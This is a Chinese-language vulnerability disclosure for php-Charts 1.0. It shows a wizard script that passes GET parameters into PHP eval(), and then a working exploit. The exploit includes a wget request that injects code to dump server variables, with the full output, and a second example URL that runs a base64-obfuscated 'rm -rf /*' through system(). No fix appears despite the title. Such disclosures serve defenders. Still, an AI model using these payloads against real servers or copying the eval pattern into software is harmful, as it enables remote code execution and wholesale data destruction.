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php-Charts 任意PHP代码执行缺陷及修复
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发布于：2013-01-19 17:04
 | |  |  | 影响程序: php-chart_v1.0
程序官方: http://php-charts.com/
缺陷类型: PHP Code Execution.
===============================================================
测试平台系统: Debian squeeze 6.0.6
服务器软件版本: Apache/2.2.16 (Debian)
PHP 5.3.3-7+squeeze14 with Suhosin-Patch (cli) (built: Aug 6 2012 20:08:59)
Copyright (c) 1997-2009 The PHP Group
Zend Engine v2.3.0, Copyright (c) 1998-2010 Zend Technologies
with Suhosin v0.9.32.1, Copyright (c) 2007-2010, by SektionEins GmbH
================================================================
关于程序介绍:
Php-Charts is basically a class which can be used to generate
different charts(Bar, Pie, Doughnut etc.) in different format(PDF, PNG, JPG, HTML)
using different data source(csv, xml, MySQL, MS Sql, MS Access, PostgreSql,
user defined data).
================================================================
缺陷分析
root@debian:/etc/apache2/htdocs/hacker1/wp/chart/chart/wizard# cat url.php
<?php
require("../lib/phpchart.class.php");
$color_var=array("txt_col","line_col","bg_color");
$cname=$_GET["type"];
$chart=new PHPChart($cname);
foreach($_GET as $key=>$value)
{
if($value!="")
{
if(in_array($key,$color_var))
eval('$chart->'.$key.'="#'.$value.'";');
else if($value=='yes')
eval('$chart->'.$key.'=true;');
else if($value=='no')
eval('$chart->'.$key.'=false;');
else if(is_numeric($value))
eval('$chart->'.$key.'='.$value.';');
else
eval('$chart->'.$key."='".$value."';");
}
}
$chart->genChart();
利用:
root@debian:/tmp# wget 'http:// www.atcpu.com//wp/chart/chart/wizard/url.php?${var_dump($_SERVER)}=IZABEKAILOVEYOUBABY' -O out.txt ;; cat out.txt
--2013-01-15 21:19:16-- http://hacker1.own//wp/chart/chart/wizard/url.php?$%7Bvar_dump($_SERVER)%7D=IZABEKAILOVEYOUBABY
Resolving hacker1.own... 127.0.0.1
Connecting to hacker1.own|127.0.0.1|:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: unspecified [text/html]
Saving to: “out.txt”
[ <=> ] 1,917 --.-K/s in 0s
2013-01-15 21:19:17 (8.56 MB/s) - “out.txt” saved [1917]
Notice: Undefined index: type in /etc/apache2/htdocs/hacker1/wp/chart/chart/wizard/url.php on line 4
array(28) {
["DOCUMENT_ROOT"]=>
string(28) "/etc/apache2/htdocs/hacker1/"
["GATEWAY_interFACE"]=>
string(7) "CGI/1.1"
["HTTP_ACCEPT"]=>
string(3) "*/*"
["HTTP_CLIENT_IP"]=>
string(9) "127.0.0.1"
["HTTP_HOST"]=>
string(11) "hacker1.own"
["HTTP_USER_AGENT"]=>
string(21) "Wget/1.12 (linux-gnu)"
["HTTP_VIA"]=>
string(77) "http/1.0 debian[FE800000000000000A0027FFFE077FC6] (ApacheTrafficServer/3.2.0)"
["HTTP_X_FORWARDED_FOR"]=>
string(9) "127.0.0.1"
["PATH"]=>
string(4) "/bin"
["PHPRC"]=>
string(14) "/etc/php5/cgi/"
["QUERY_STRING"]=>
string(45) "$%7Bvar_dump($_SERVER)%7D=IZABEKAILOVEYOUBABY"
["REDIRECT_STATUS"]=>
string(3) "200"
["REMOTE_ADDR"]=>
string(9) "127.0.0.1"
["REMOTE_PORT"]=>
string(5) "60830"
["REQUEST_METHOD"]=>
string(3) "GET"
["REQUEST_URI"]=>
string(76) "/wp/chart/chart/wizard/url.php?$%7Bvar_dump($_SERVER)%7D=IZABEKAILOVEYOUBABY"
["SCRIPT_FILENAME"]=>
string(57) "/etc/apache2/htdocs/hacker1/wp/chart/chart/wizard/url.php"
["SCRIPT_NAME"]=>
string(30) "/wp/chart/chart/wizard/url.php"
["SERVER_ADDR"]=>
string(9) "127.0.0.1"
["SERVER_ADMIN"]=>
string(21) "webmaster@hacker1.own"
["SERVER_NAME"]=>
string(11) "hacker1.own"
["SERVER_PORT"]=>
string(2) "80"
["SERVER_PROTOCOL"]=>
string(8) "HTTP/1.1"
["SERVER_SIGNATURE"]=>
string(0) ""
["SERVER_SOFTWARE"]=>
string(6) "Apache"
["UNIQUE_ID"]=>
string(24) "UPYOJH8AAQEAAE8eNfMAAAAC"
["PHP_SELF"]=>
string(30) "/wp/chart/chart/wizard/url.php"
["REQUEST_TIME"]=>
int(1358302756)
}
Notice: Undefined variable: in /etc/apache2/htdocs/hacker1/wp/chart/chart/wizard/url.php(20) : eval()'d code on line 1
Fatal error: Cannot access empty property in /etc/apache2/htdocs/hacker1/wp/chart/chart/wizard/url.php(20) : eval()'d code on line 1
root@debian:/tmp#
Example 2:
http://hacker1.own//wp/chart/chart/wizard/url.php?;123;${var_dump(system(base64_decode(cm0gLXJmIC8q)))}=123456LoL
=====================ENDS HERE============================
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